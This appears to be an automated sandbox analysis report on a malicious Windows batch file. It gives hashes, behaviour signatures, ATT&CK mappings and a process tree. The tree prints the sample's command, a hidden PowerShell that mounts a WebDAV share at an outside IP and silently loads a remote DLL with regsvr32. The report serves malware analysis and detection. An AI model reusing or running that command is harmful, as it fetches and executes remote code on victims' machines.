5b7bb58e502ea2745ff8eb8b7d265563603c9323c60e915c68522b0fdc8c989c

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19-07-2024 06:14

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General

Target

25527102621802228191.bat
Size

2KB
MD5

64a999db753cac5675bd0ba4e6d32dbe
SHA1

cbd18a9c769afb6c93ee56fbed73539ebf816991
SHA256

5b7bb58e502ea2745ff8eb8b7d265563603c9323c60e915c68522b0fdc8c989c
SHA512

d6fed039be7a93103c144c842c3afe2ab7192c868fa312f497cc690c3118a99559068234c175b701389a72660c7667453558937f9036a24a321264eb9f6d1c1c

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2156	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2156	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2156	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3044	wordpad.exe
3044	wordpad.exe
3044	wordpad.exe
3044	wordpad.exe
3044	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2476 wrote to memory of 3044	2476	cmd.exe	32
PID 2476 wrote to memory of 3044	2476	cmd.exe	32
PID 2476 wrote to memory of 3044	2476	cmd.exe	32
PID 2476 wrote to memory of 2156	2476	cmd.exe	33
PID 2476 wrote to memory of 2156	2476	cmd.exe	33
PID 2476 wrote to memory of 2156	2476	cmd.exe	33
PID 2156 wrote to memory of 2780	2156	powershell.exe	35
PID 2156 wrote to memory of 2780	2156	powershell.exe	35
PID 2156 wrote to memory of 2780	2156	powershell.exe	35
PID 2156 wrote to memory of 2560	2156	powershell.exe	36
PID 2156 wrote to memory of 2560	2156	powershell.exe	36
PID 2156 wrote to memory of 2560	2156	powershell.exe	36
PID 2156 wrote to memory of 2560	2156	powershell.exe	36
PID 2156 wrote to memory of 2560	2156	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\25527102621802228191.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2476
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\14326219727366.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2780
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\14326219727366.dll
    3⤵
    PID:2560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2156-23-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

Filesize
2.9MB

Download
memory/2156-24-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download